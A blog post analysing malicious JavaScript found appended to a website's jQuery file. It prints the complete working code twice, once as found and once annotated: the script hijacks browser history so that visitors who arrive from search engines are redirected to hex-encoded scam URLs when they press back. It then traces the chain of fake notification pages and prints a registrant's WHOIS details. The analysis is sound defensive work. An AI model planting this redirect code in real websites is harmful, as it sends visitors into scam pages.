manatee.sh
Malware Deep Dive: Episode 1
Who doesn't love a compromised website?Intro↑§
I recently encountered an issue on a website (discovered by a co-worker) in which visiting the website via a search engine and clicking back in the browser would cause the user to get redirected to a dodgy site.
Fun, right?
the original, un-minified↑§
This was finally located within an existing JavaScript file that was loaded on the website (there were a lot).
It was in jquery-2.1.1.min.js
, located at the bottom as always and below is the code, unminified.
(function() {
var rref5756 = document.referrer,
rt5756 = GetCookie5756('tmr_vid_5756'),
ExpDate = new Date(),
p5756 = new Array('google', 'go.mail', 'nova.rambler', 'yandex', 'ya.ru', 'bing.', 'ukr.net', 'yahoo.', 'aolsearch', 'duckduckgo', 'baidu', 'ecosia', 'sogou'),
b5756 = false,
u5756 = fnBD5756();
function his5756() {
(function(w, l, d) {
var cloc = l.pathname + l.search;
history.replaceState(null, d.title, l.pathname + "#!/back");
history.pushState(null, d.title, l.pathname);
w.addEventListener("popstate", function() {
if (l.hash === "#!/back") {
history.replaceState(null, d.title, l.pathname);
setTimeout(function() {
l.replace(u5756)
}, 0)
}
}, false)
}(window, location, document))
}
rref5756 = rref5756.toLowerCase();
for (i in p5756) {
if (rref5756.indexOf(p5756[i]) > 0) {
b5756 = true;
break;
}
}
if (b5756) {
if (rt5756 == null) {
his5756();
}
}
rref5756 = unescape(rref5756);
ExpDate.setTime(ExpDate.getTime() + (24 * 60 * 60 * 1000 * 7));
SetCookie5756('tmr_vid_5756', '1', ExpDate, "/");
function fnBD5756() {
let uA5756 = navigator.userAgent;
let bN5756;
if (uA5756.match(/chrome|chromium|crios|opr\//i)) {
bN5756 = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373334365f696e2e68746d6c');
} else {
bN5756 = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373432385f68682e68746d6c');
}
return bN5756;
}
function h2b(hex) {
let bytes = [],
str;
for (var i = 0; i < hex.length - 1; i += 2) bytes.push(parseInt(hex.substr(i, 2), 16));
return String.fromCharCode.apply(String, bytes);
}
function GetCookie5756Val(offset) {
var endstr = document.cookie.indexOf(";", offset);
if (endstr == -1) endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie5756(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return GetCookie5756Val(j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie5756(name, value) {
var argv = SetCookie5756.arguments;
var argc = SetCookie5756.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}
})();
cleaned up with comments↑§
It was probably better off remaining minified with my comments.
As you'll see, it's pretty basic
- Check Referrer
- is referrer from a search engine?
- if so, trigger the history state change and set a cookie
- else
- do nothing
- is referrer from a search engine?
(function() {
// set some default vars
var winReferrer = document.referrer,
getCookie = GetCookie5756('tmr_vid_5756'),
ExpDate = new Date(),
searchEngines = new Array('google', 'go.mail', 'nova.rambler', 'yandex', 'ya.ru', 'bing.', 'ukr.net', 'yahoo.', 'aolsearch', 'duckduckgo', 'baidu', 'ecosia', 'sogou'),
reffedFromASearchEngine = false,
redirectToURL = redirectToURLFunc();
// once called, this function changes the history state
// aka, inserts a dodgy history entry
function changeBackState() {
(function(w, l, d) {
var cloc = l.pathname + l.search;
history.replaceState(null, d.title, l.pathname + "#!/back");
history.pushState(null, d.title, l.pathname);
w.addEventListener("popstate", function() {
if (l.hash === "#!/back") {
history.replaceState(null, d.title, l.pathname);
setTimeout(function() {
l.replace(redirectToURL)
}, 0)
}
}, false)
}(window, location, document))
}
// if the user was referred from a search engine, set a var to true
winReferrer = winReferrer.toLowerCase();
for (i in searchEngines) {
if (winReferrer.indexOf(searchEngines[i]) > 0) {
reffedFromASearchEngine = true;
break;
}
}
// if the user was referred from a search engine and doesn't have the cookie, change the history state
if (reffedFromASearchEngine) {
if (getCookie == null) {
changeBackState();
}
}
// set the cookie that lasts 1 week
winReferrer = unescape(winReferrer);
ExpDate.setTime(ExpDate.getTime() + (24 * 60 * 60 * 1000 * 7));
SetCookie5756('tmr_vid_5756', '1', ExpDate, "/");
function redirectToURLFunc() {
let userAgent = navigator.userAgent;
let url;
// if the user agent is one of the below, go to 1 url, else go to another
if (userAgent.match(/chrome|chromium|crios|opr\//i)) {
// decoded url is https://img0.liveinternet.ru/images/attach/d/4/160/787/160787346_in.html
url = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373334365f696e2e68746d6c');
} else {
// decoded url is https://img0.liveinternet.ru/images/attach/d/4/160/787/160787428_hh.html
url = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373432385f68682e68746d6c');
}
return url;
}
// hex to binary function
function h2b(hex) {
let bytes = [],
str;
for (var i = 0; i < hex.length - 1; i += 2) bytes.push(parseInt(hex.substr(i, 2), 16));
return String.fromCharCode.apply(String, bytes);
}
function GetCookie5756Val(offset) {
var endstr = document.cookie.indexOf(";", offset);
if (endstr == -1) endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie5756(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return GetCookie5756Val(j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie5756(name, value) {
var argv = SetCookie5756.arguments;
var argc = SetCookie5756.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}
})();
Where does it go?↑§
The two URLs it redirects to
- https://img0.liveinternet[.]ru/images/attach/d/4/160/787/160787346_in.html
- Redirects here if user-agent contains chrome|chromium|crios|opr
- https://img0.liveinternet[.]ru/images/attach/d/4/160/787/160787428_hh.html
- Redirects here if user-agent doesn't contain the above
Disguise themselves as a GIF, so clearly liveinternet[.]ru doesn't properly check uploads.
160787428_hh.html
has some JavaScript within, appearing to request the users Geo IP but the website, traffic-redirect[.]site, is a dud but still registered, domain whois.
Registrant Contact Information:
Name | Yuliya Smirnova |
Organization | Geekol |
Address | Ul Nahimova dom 44 |
City | Astrahan |
State / Province | Astrahanskaya |
Postal Code | 414004 |
Country | RU |
Phone | +7.9066788546 |
[email protected] |
In the end, you end up getting redirected to yet another website, requesting you to "allow" fake browser notifications.
Clicking allow or block, you yet again get redirect to another fake browser notification page and you keep going.
It keeps going and going and going and going...
After about 7 redirects and clicking "Allow" on each one (some even used speech synthesis!) I won an iPhone 14 Pro.
Summary↑§
Don't get hacked.
Also don't blindly click allow and fall for scams, ofc.